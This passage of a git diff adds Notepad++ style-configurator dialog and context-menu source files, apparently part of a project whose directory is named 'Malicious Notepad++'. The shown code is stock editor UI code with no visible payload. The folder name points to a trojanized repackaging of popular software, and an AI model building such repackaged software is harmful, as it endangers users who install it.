(NppParameters::getInstance())->writeStyles(_lsArray, _globalStyles); + } + nppParamInst->reloadStylers(&_themeName[0]); + + loadLangListFromNppParam(); + _restoreInvalid = true; + +} + +void WordStyleDlg::setStyleListFromLexer(int index) +{ + _currentLexerIndex = index; + + // Fill out Styles listbox + // Before filling out, we clean it + ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_RESETCONTENT, 0, 0); + + if (index) + { + const TCHAR *langName = _lsArray.getLexerNameFromIndex(index - 1); + const TCHAR *ext = NppParameters::getInstance()->getLangExtFromName(langName); + const TCHAR *userExt = (_lsArray.getLexerStylerByName(langName))->getLexerUserExt(); + ::SendDlgItemMessage(_hSelf, IDC_DEF_EXT_EDIT, WM_SETTEXT, 0, reinterpret_cast(ext)); + + // WM_SETTEXT cause sending WM_COMMAND message with EN_CHANGE. + // That makes status dirty, even it shouldn't in this case. + // The walk around solution is get the current status before sending WM_SETTEXT, + // then restore the status after sending this message. + bool isDirty = _isDirty; + bool isThemeDirty = _isThemeDirty; + ::SendDlgItemMessage(_hSelf, IDC_USER_EXT_EDIT, WM_SETTEXT, 0, reinterpret_cast(userExt)); + _isDirty = isDirty; + _isThemeDirty = isThemeDirty; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SAVECLOSE_BUTTON), isDirty || isThemeDirty); + } + ::ShowWindow(::GetDlgItem(_hSelf, IDC_DEF_EXT_EDIT), index?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_DEF_EXT_STATIC), index?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_USER_EXT_EDIT), index?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_USER_EXT_STATIC), index?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_PLUSSYMBOL2_STATIC), index?SW_SHOW:SW_HIDE); + + StyleArray & lexerStyler = index?_lsArray.getLexerFromIndex(index-1):_globalStyles; + + for (int i = 0, nb = lexerStyler.getNbStyler(); i < nb ; ++i) + { + Style & style = lexerStyler.getStyler(i); + ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_ADDSTRING, 0, reinterpret_cast(style._styleDesc)); + } + ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_SETCURSEL, 0, 0); + setVisualFromStyleList(); +} + +void WordStyleDlg::setVisualFromStyleList() +{ + showGlobalOverrideCtrls(false); + + Style & style = getCurrentStyler(); + + // Global override style + if (style._styleDesc && lstrcmp(style._styleDesc, TEXT("Global override")) == 0) + { + showGlobalOverrideCtrls(true); + } + + //--Warning text + //bool showWarning = ((_currentLexerIndex == 0) && (style._styleID == STYLE_DEFAULT));//?SW_SHOW:SW_HIDE; + + COLORREF c = RGB(0x00, 0x00, 0xFF); + TCHAR str[256]; + + str[0] = '\0'; + + auto i = ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_GETCURSEL, 0, 0); + if (i == LB_ERR) + return; + ::SendDlgItemMessage(_hSelf, IDC_LANGUAGES_LIST, LB_GETTEXT, i, reinterpret_cast(str)); + + i = ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_GETCURSEL, 0, 0); + if (i == LB_ERR) + return; + TCHAR styleName[64]; + ::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_GETTEXT, i, reinterpret_cast(styleName)); + + lstrcat(lstrcat(str, TEXT(" : ")), styleName); + + // PAD for fix a display glitch + lstrcat(str, TEXT(" ")); + colourHooker.setColour(c); + ::SetWindowText(_hStyleInfoStaticText, str); + + //-- 2 couleurs : fg et bg + bool isEnable = false; + if (HIBYTE(HIWORD(style._fgColor)) != 0xFF) + { + _pFgColour->setColour(style._fgColor); + _pFgColour->setEnabled((style._colorStyle & COLORSTYLE_FOREGROUND) != 0); + isEnable = true; + } + enableFg(isEnable); + + isEnable = false; + if (HIBYTE(HIWORD(style._bgColor)) != 0xFF) + { + _pBgColour->setColour(style._bgColor); + _pBgColour->setEnabled((style._colorStyle & COLORSTYLE_BACKGROUND) != 0); + isEnable = true; + } + enableBg(isEnable); + + //-- font name + isEnable = false; + LRESULT iFontName; + if (style._fontName != NULL) + { + iFontName = ::SendMessage(_hFontNameCombo, CB_FINDSTRING, 1, reinterpret_cast(style._fontName)); + if (iFontName == CB_ERR) + iFontName = 0; + isEnable = true; + } + else + { + iFontName = 0; + } + ::SendMessage(_hFontNameCombo, CB_SETCURSEL, iFontName, 0); + enableFontName(isEnable); + + //-- font size + isEnable = false; + TCHAR intStr[5] = TEXT(""); + LRESULT iFontSize = 0; + if (style._fontSize != STYLE_NOT_USED) + { + wsprintf(intStr, TEXT("%d"), style._fontSize); + iFontSize = ::SendMessage(_hFontSizeCombo, CB_FINDSTRING, 1, reinterpret_cast(intStr)); + isEnable = true; + } + ::SendMessage(_hFontSizeCombo, CB_SETCURSEL, iFontSize, 0); + enableFontSize(isEnable); + + //-- font style : bold & italic + isEnable = false; + if (style._fontStyle != STYLE_NOT_USED) + { + int isBold = (style._fontStyle & FONTSTYLE_BOLD)?BST_CHECKED:BST_UNCHECKED; + int isItalic = (style._fontStyle & FONTSTYLE_ITALIC)?BST_CHECKED:BST_UNCHECKED; + int isUnderline = (style._fontStyle & FONTSTYLE_UNDERLINE)?BST_CHECKED:BST_UNCHECKED; + ::SendMessage(_hCheckBold, BM_SETCHECK, isBold, 0); + ::SendMessage(_hCheckItalic, BM_SETCHECK, isItalic, 0); + ::SendMessage(_hCheckUnderline, BM_SETCHECK, isUnderline, 0); + isEnable = true; + } + else // STYLE_NOT_USED : reset them all + { + ::SendMessage(_hCheckBold, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendMessage(_hCheckItalic, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendMessage(_hCheckUnderline, BM_SETCHECK, BST_UNCHECKED, 0); + } + + enableFontStyle(isEnable); + + + //-- Default Keywords + bool shouldBeDisplayed = style._keywordClass != STYLE_NOT_USED; + if (shouldBeDisplayed) + { + LexerStyler & lexerStyler = _lsArray.getLexerFromIndex(_currentLexerIndex - 1); + + NppParameters *pNppParams = NppParameters::getInstance(); + LangType lType = pNppParams->getLangIDFromStr(lexerStyler.getLexerName()); + if (lType == L_TEXT) + { + generic_string str = lexerStyler.getLexerName(); + str += TEXT(" is not defined in NppParameters::getLangIDFromStr()"); + printStr(str.c_str()); + } + const TCHAR *kws = pNppParams->getWordList(lType, style._keywordClass); + if (!kws) + kws = TEXT(""); + ::SendDlgItemMessage(_hSelf, IDC_DEF_KEYWORDS_EDIT, WM_SETTEXT, 0, reinterpret_cast(kws)); + + const TCHAR *ckwStr = (style._keywords)?style._keywords->c_str():TEXT(""); + ::SendDlgItemMessage(_hSelf, IDC_USER_KEYWORDS_EDIT, WM_SETTEXT, 0, reinterpret_cast(ckwStr)); + } + + int showOption = shouldBeDisplayed?SW_SHOW:SW_HIDE; + ::ShowWindow(::GetDlgItem(_hSelf, IDC_DEF_KEYWORDS_EDIT), showOption); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_USER_KEYWORDS_EDIT),showOption); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_DEF_KEYWORDS_STATIC), showOption); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_USER_KEYWORDS_STATIC),showOption); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_PLUSSYMBOL_STATIC),showOption); + + redraw(); +} + + +void WordStyleDlg::create(int dialogID, bool isRTL, bool msgDestParent) +{ + StaticDialog::create(dialogID, isRTL, msgDestParent); + + if ((NppParameters::getInstance())->isTransparentAvailable()) + { + ::ShowWindow(::GetDlgItem(_hSelf, IDC_SC_TRANSPARENT_CHECK), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_SC_PERCENTAGE_SLIDER), SW_SHOW); + + ::SendDlgItemMessage(_hSelf, IDC_SC_PERCENTAGE_SLIDER, TBM_SETRANGE, FALSE, MAKELONG(20, 200)); + ::SendDlgItemMessage(_hSelf, IDC_SC_PERCENTAGE_SLIDER, TBM_SETPOS, TRUE, 150); + if (!(BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_SC_PERCENTAGE_SLIDER, BM_GETCHECK, 0, 0))) + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SC_PERCENTAGE_SLIDER), FALSE); + } +} + + +void WordStyleDlg::apply() +{ + LexerStylerArray & lsa = (NppParameters::getInstance())->getLStylerArray(); + StyleArray & globalStyles = (NppParameters::getInstance())->getGlobalStylers(); + + lsa = _lsArray; + globalStyles = _globalStyles; + + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), FALSE); + ::SendMessage(_hParent, WM_UPDATESCINTILLAS, 0, 0); +} diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.h b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.h new file mode 100644 index 0000000..2e94c4e --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.h @@ -0,0 +1,239 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "ColourPicker.h" +#include "WordStyleDlgRes.h" +#include "Parameters.h" + + +#define WM_UPDATESCINTILLAS (WORDSTYLE_USER + 1) //GlobalStyleDlg's msg 2 send 2 its parent + +enum fontStyleType {BOLD_STATUS, ITALIC_STATUS, UNDERLINE_STATUS}; + +const bool C_FOREGROUND = false; +const bool C_BACKGROUND = true; + + +class ColourStaticTextHooker { +public : + ColourStaticTextHooker() : _colour(RGB(0x00, 0x00, 0x00)) {}; + + COLORREF setColour(COLORREF colour2Set) { + COLORREF oldColour = _colour; + _colour = colour2Set; + return oldColour; + }; + void hookOn(HWND staticHandle) { + ::SetWindowLongPtr(staticHandle, GWLP_USERDATA, reinterpret_cast(this)); + _oldProc = reinterpret_cast(::SetWindowLongPtr(staticHandle, GWLP_WNDPROC, reinterpret_cast(staticProc))); + }; +private : + COLORREF _colour; + WNDPROC _oldProc; + + static LRESULT CALLBACK staticProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam){ + ColourStaticTextHooker *pColourStaticTextHooker = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + return pColourStaticTextHooker->colourStaticProc(hwnd, message, wParam, lParam); + }; + LRESULT CALLBACK colourStaticProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); +}; + +class WordStyleDlg : public StaticDialog +{ +public : + WordStyleDlg() {}; + + void init(HINSTANCE hInst, HWND parent) { + Window::init(hInst, parent); + }; + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true); + + void doDialog(bool isRTL = false) { + if (!isCreated()) + { + create(IDD_STYLER_DLG, isRTL); + prepare2Cancel(); + } + + if (!::IsWindowVisible(_hSelf)) + { + prepare2Cancel(); + } + display(); + }; + + void prepare2Cancel() { + _styles2restored = (NppParameters::getInstance())->getLStylerArray(); + _gstyles2restored = (NppParameters::getInstance())->getGlobalStylers(); + _gOverride2restored = (NppParameters::getInstance())->getGlobalOverrideStyle(); + }; + + virtual void redraw(bool forceUpdate = false) const { + _pFgColour->redraw(forceUpdate); + _pBgColour->redraw(forceUpdate); + ::InvalidateRect(_hStyleInfoStaticText, NULL, TRUE); + ::UpdateWindow(_hStyleInfoStaticText); + }; + + void restoreGlobalOverrideValues() { + GlobalOverride & gOverride = (NppParameters::getInstance())->getGlobalOverrideStyle(); + gOverride = _gOverride2restored; + }; + + void apply(); + + void addLastThemeEntry() { + NppParameters *nppParamInst = NppParameters::getInstance(); + ThemeSwitcher & themeSwitcher = nppParamInst->getThemeSwitcher(); + std::pair & themeInfo = themeSwitcher.getElementFromIndex(themeSwitcher.size() - 1); + ::SendMessage(_hSwitch2ThemeCombo, CB_ADDSTRING, 0, reinterpret_cast(themeInfo.first.c_str())); + }; + + +private : + ColourPicker *_pFgColour = nullptr; + ColourPicker *_pBgColour = nullptr; + + int _currentLexerIndex = 0; + int _currentThemeIndex = 0; + + HWND _hCheckBold; + HWND _hCheckItalic; + HWND _hCheckUnderline; + HWND _hFontNameCombo; + HWND _hFontSizeCombo; + HWND _hSwitch2ThemeCombo; + + HWND _hFgColourStaticText; + HWND _hBgColourStaticText; + HWND _hFontNameStaticText; + HWND _hFontSizeStaticText; + HWND _hStyleInfoStaticText; + //TCHAR _originalWarning[256]; + + LexerStylerArray _lsArray; + StyleArray _globalStyles; + generic_string _themeName; + + LexerStylerArray _styles2restored; + StyleArray _gstyles2restored; + GlobalOverride _gOverride2restored; + bool _restoreInvalid = false; + + ColourStaticTextHooker colourHooker; + + bool _isDirty = false; + bool _isThemeDirty = false; + bool _isShownGOCtrls = false; + + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + + + Style & getCurrentStyler() { + int32_t styleIndex = static_cast(::SendDlgItemMessage(_hSelf, IDC_STYLES_LIST, LB_GETCURSEL, 0, 0)); + if (styleIndex == LB_ERR) + styleIndex = 0; + + if (_currentLexerIndex == 0) + { + return _globalStyles.getStyler(styleIndex); + } + else + { + LexerStyler & lexerStyler = _lsArray.getLexerFromIndex(_currentLexerIndex - 1); + return lexerStyler.getStyler(styleIndex); + } + }; + + int whichTabColourIndex(); + + void updateColour(bool which); + void updateFontStyleStatus(fontStyleType whitchStyle); + void updateExtension(); + void updateFontName(); + void updateFontSize(); + void updateUserKeywords(); + void switchToTheme(); + void updateThemeName(generic_string themeName); + + void loadLangListFromNppParam(); + + void enableFg(bool isEnable) { + ::EnableWindow(_pFgColour->getHSelf(), isEnable); + ::EnableWindow(_hFgColourStaticText, isEnable); + }; + + void enableBg(bool isEnable) { + ::EnableWindow(_pBgColour->getHSelf(), isEnable); + ::EnableWindow(_hBgColourStaticText, isEnable); + }; + + void enableFontName(bool isEnable) { + ::EnableWindow(_hFontNameCombo, isEnable); + ::EnableWindow(_hFontNameStaticText, isEnable); + }; + + void enableFontSize(bool isEnable) { + ::EnableWindow(_hFontSizeCombo, isEnable); + ::EnableWindow(_hFontSizeStaticText, isEnable); + }; + + void enableFontStyle(bool isEnable) { + ::EnableWindow(_hCheckBold, isEnable); + ::EnableWindow(_hCheckItalic, isEnable); + ::EnableWindow(_hCheckUnderline, isEnable); + }; + long notifyDataModified() { + _isDirty = true; + _isThemeDirty = true; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SAVECLOSE_BUTTON), TRUE); + return TRUE; + }; + void setStyleListFromLexer(int index); + void setVisualFromStyleList(); + + void updateGlobalOverrideCtrls(); + + void showGlobalOverrideCtrls(bool show) { + if (show) + { + updateGlobalOverrideCtrls(); + } + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_FG_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_BG_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_FONT_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_FONTSIZE_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_BOLD_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_ITALIC_CHECK), show?SW_SHOW:SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_GLOBAL_UNDERLINE_CHECK), show?SW_SHOW:SW_HIDE); + _isShownGOCtrls = show; + }; +}; diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.rc b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.rc new file mode 100644 index 0000000..ced8d15 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlg.rc @@ -0,0 +1,91 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "windows.h" +#include "WordStyleDlgRes.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_STYLER_DLG DIALOGEX 36, 44, 500, 246 +STYLE DS_SETFONT | DS_3DLOOK | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Style Configurator" +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + LTEXT "Select theme : ",IDC_SWITCH2THEME_STATIC,6,9,83,8,0,WS_EX_RIGHT + COMBOBOX IDC_SWITCH2THEME_COMBO,95,7,104,78,CBS_DROPDOWNLIST | CBS_AUTOHSCROLL | WS_VSCROLL | WS_TABSTOP + LTEXT "Foreground colour",IDC_FG_STATIC,203,72,59,8,0,WS_EX_RIGHT + LTEXT "Background colour",IDC_BG_STATIC,203,99,59,8,0,WS_EX_RIGHT + COMBOBOX IDC_FONT_COMBO,371,68,104,78,CBS_DROPDOWNLIST | CBS_AUTOHSCROLL | CBS_SORT | WS_VSCROLL | WS_TABSTOP + COMBOBOX IDC_FONTSIZE_COMBO,442,95,33,82,CBS_DROPDOWNLIST | WS_VSCROLL | WS_TABSTOP + CONTROL "Bold",IDC_BOLD_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,327,88,63,10 + CONTROL "Italic",IDC_ITALIC_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,327,100,62,10 + GROUPBOX "Font Style",IDC_FONTGROUP_STATIC,311,52,169,77 + GROUPBOX "Colour Style",IDC_COLOURGROUP_STATIC,191,52,111,77 + LTEXT "Font name :",IDC_FONTNAME_STATIC,315,71,52,8,0,WS_EX_RIGHT + LTEXT "Font size :",IDC_FONTSIZE_STATIC,388,97,51,8,0,WS_EX_RIGHT + LTEXT "Style :",IDC_STYLEDESC_STATIC,87,34,68,8 + LTEXT " ",IDC_STYLEDESCRIPTION_STATIC,190,30,295,22 + EDITTEXT IDC_DEF_EXT_EDIT,17,215,61,14,ES_AUTOHSCROLL | ES_READONLY + LTEXT "Default ext. : ",IDC_DEF_EXT_STATIC,20,203,61,8 + EDITTEXT IDC_USER_EXT_EDIT,93,215,71,14,ES_AUTOHSCROLL + LTEXT "User ext. :",IDC_USER_EXT_STATIC,95,204,71,8 + CONTROL "Underline",IDC_UNDERLINE_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,327,112,80,10 + EDITTEXT IDC_DEF_KEYWORDS_EDIT,191,151,136,43,ES_MULTILINE | ES_READONLY | WS_VSCROLL + EDITTEXT IDC_USER_KEYWORDS_EDIT,347,150,134,43,ES_MULTILINE | WS_VSCROLL + LTEXT "Default keywords",IDC_DEF_KEYWORDS_STATIC,193,141,122,8 + LTEXT "User-defined keywords",IDC_USER_KEYWORDS_STATIC,349,140,126,8 + LTEXT "+",IDC_PLUSSYMBOL_STATIC,335,166,8,8 + PUSHBUTTON "Cancel",IDCANCEL,332,222,57,14 + PUSHBUTTON "Save && Close",IDC_SAVECLOSE_BUTTON,255,222,69,14 + CONTROL "",IDC_SC_PERCENTAGE_SLIDER,"msctls_trackbar32",TBS_BOTH | TBS_NOTICKS | NOT WS_VISIBLE | WS_TABSTOP,441,235,53,10 + CONTROL "Transparency",IDC_SC_TRANSPARENT_CHECK,"Button",BS_AUTOCHECKBOX | NOT WS_VISIBLE | WS_TABSTOP,431,221,63,10 + LISTBOX IDC_LANGUAGES_LIST,17,46,59,146,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_TABSTOP + LISTBOX IDC_STYLES_LIST,87,46,76,146,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP + GROUPBOX "",IDC_STATIC,7,24,166,212 + LTEXT "Language :",IDC_LANGDESC_STATIC,19,34,61,8 + GROUPBOX "",IDC_STATIC,181,24,310,184 + LTEXT "+",IDC_PLUSSYMBOL2_STATIC,83,217,8,8 + CONTROL "Enable global foreground colour",IDC_GLOBAL_FG_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,191,138,132,10 + CONTROL "Enable global background colour",IDC_GLOBAL_BG_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,191,153,131,10 + CONTROL "Enable global font",IDC_GLOBAL_FONT_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,327,134,153,10 + CONTROL "Enable global font size",IDC_GLOBAL_FONTSIZE_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,327,149,135,10 + CONTROL "Enable global bold font style",IDC_GLOBAL_BOLD_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,328,164,135,10 + CONTROL "Enable global italic font style",IDC_GLOBAL_ITALIC_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,328,179,135,10 + CONTROL "Enable global underline font style",IDC_GLOBAL_UNDERLINE_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,328,194,135,10 + +END + diff --git a/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlgRes.h b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlgRes.h new file mode 100644 index 0000000..5f294b2 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ColourPicker/WordStyleDlgRes.h @@ -0,0 +1,80 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef WORD_STYLE_DLG_RES_H +#define WORD_STYLE_DLG_RES_H + +#define IDD_STYLER_DLG 2200 + + //#define IDC_STYLETYPE_COMBO (IDD_STYLER_DLG + 1) + #define IDC_FONT_COMBO (IDD_STYLER_DLG + 2) + #define IDC_FONTSIZE_COMBO (IDD_STYLER_DLG + 3) + #define IDC_BOLD_CHECK (IDD_STYLER_DLG + 4) + #define IDC_ITALIC_CHECK (IDD_STYLER_DLG + 5) + #define IDC_FG_STATIC (IDD_STYLER_DLG + 6) + #define IDC_BG_STATIC (IDD_STYLER_DLG + 7) + #define IDC_FONTNAME_STATIC (IDD_STYLER_DLG + 8) + #define IDC_FONTSIZE_STATIC (IDD_STYLER_DLG + 9) + //#define IDC_STYLEDEFAULT_WARNING_STATIC (IDD_STYLER_DLG + 10) for the sake of compablity of traslation xml files, this number (2210) don't be use anymore by Notepad++ + #define IDC_STYLEDESC_STATIC (IDD_STYLER_DLG + 11) + #define IDC_COLOURGROUP_STATIC (IDD_STYLER_DLG + 12) + #define IDC_FONTGROUP_STATIC (IDD_STYLER_DLG + 13) + + #define IDC_DEF_EXT_STATIC (IDD_STYLER_DLG + 14) + #define IDC_DEF_EXT_EDIT (IDD_STYLER_DLG + 15) + #define IDC_USER_EXT_STATIC (IDD_STYLER_DLG + 16) + #define IDC_USER_EXT_EDIT (IDD_STYLER_DLG + 17) + #define IDC_UNDERLINE_CHECK (IDD_STYLER_DLG + 18) + #define IDC_DEF_KEYWORDS_STATIC (IDD_STYLER_DLG + 19) + #define IDC_DEF_KEYWORDS_EDIT (IDD_STYLER_DLG + 20) + #define IDC_USER_KEYWORDS_STATIC (IDD_STYLER_DLG + 21) + #define IDC_USER_KEYWORDS_EDIT (IDD_STYLER_DLG + 22) + #define IDC_PLUSSYMBOL_STATIC (IDD_STYLER_DLG + 23) + #define IDC_PLUSSYMBOL2_STATIC (IDD_STYLER_DLG + 24) + #define IDC_LANGDESC_STATIC (IDD_STYLER_DLG + 25) + + #define IDC_GLOBAL_FG_CHECK (IDD_STYLER_DLG + 26) + #define IDC_GLOBAL_BG_CHECK (IDD_STYLER_DLG + 27) + #define IDC_GLOBAL_FONT_CHECK (IDD_STYLER_DLG + 28) + #define IDC_GLOBAL_FONTSIZE_CHECK (IDD_STYLER_DLG + 29) + #define IDC_GLOBAL_BOLD_CHECK (IDD_STYLER_DLG + 30) + #define IDC_GLOBAL_ITALIC_CHECK (IDD_STYLER_DLG + 31) + #define IDC_GLOBAL_UNDERLINE_CHECK (IDD_STYLER_DLG + 32) + #define IDC_STYLEDESCRIPTION_STATIC (IDD_STYLER_DLG + 33) + +# define IDD_GLOBAL_STYLER_DLG 2300 + #define IDC_SAVECLOSE_BUTTON (IDD_GLOBAL_STYLER_DLG + 1) + #define IDC_SC_PERCENTAGE_SLIDER (IDD_GLOBAL_STYLER_DLG + 2) + #define IDC_SC_TRANSPARENT_CHECK (IDD_GLOBAL_STYLER_DLG + 3) + #define IDC_LANGUAGES_LIST (IDD_GLOBAL_STYLER_DLG + 4) + #define IDC_STYLES_LIST (IDD_GLOBAL_STYLER_DLG + 5) + #define IDC_SWITCH2THEME_STATIC (IDD_GLOBAL_STYLER_DLG + 6) + #define IDC_SWITCH2THEME_COMBO (IDD_GLOBAL_STYLER_DLG + 7) + +#endif //WORD_STYLE_DLG_RES_H + diff --git a/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.cpp b/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.cpp new file mode 100644 index 0000000..52571d4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/ContextMenu/ContextMenu.cpp @@ -0,0 +1,125 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ContextMenu.h" + +MenuItemUnit::MenuItemUnit(unsigned long cmdID, const TCHAR *itemName, const TCHAR *parentFolderName) : _cmdID(cmdID) +{ + if (!itemName) + _itemName.clear(); + else + _itemName = itemName; + + if (!parentFolderName) + _parentFolderName.clear(); + else + _parentFolderName = parentFolderName; +} + + +ContextMenu::~ContextMenu() +{ + if (isCreated()) + { + for (size_t i = 0, len = _subMenus.size(); i < len; ++i) + ::DestroyMenu(_subMenus[i]); + ::DestroyMenu(_hMenu); + } +} + + +void ContextMenu::create(HWND hParent, const std::vector & menuItemArray, const HMENU mainMenuHandle) +{ + _hParent = hParent; + _hMenu = ::CreatePopupMenu(); + bool lastIsSep = false; + HMENU hParentFolder = NULL; + generic_string currentParentFolderStr; + int j = 0; + + for (size_t i = 0, len = menuItemArray.size(); i < len; ++i) + { + const MenuItemUnit & item = menuItemArray[i]; + if (item._parentFolderName.empty()) + { + currentParentFolderStr.clear(); + hParentFolder = NULL; + j = 0; + } + else + { + if (item._parentFolderName != currentParentFolderStr) + { + currentParentFolderStr = item._parentFolderName; + hParentFolder = ::CreateMenu(); + j = 0; + + _subMenus.push_back(hParentFolder); + ::InsertMenu(_hMenu, static_cast(i), MF_BYPOSITION | 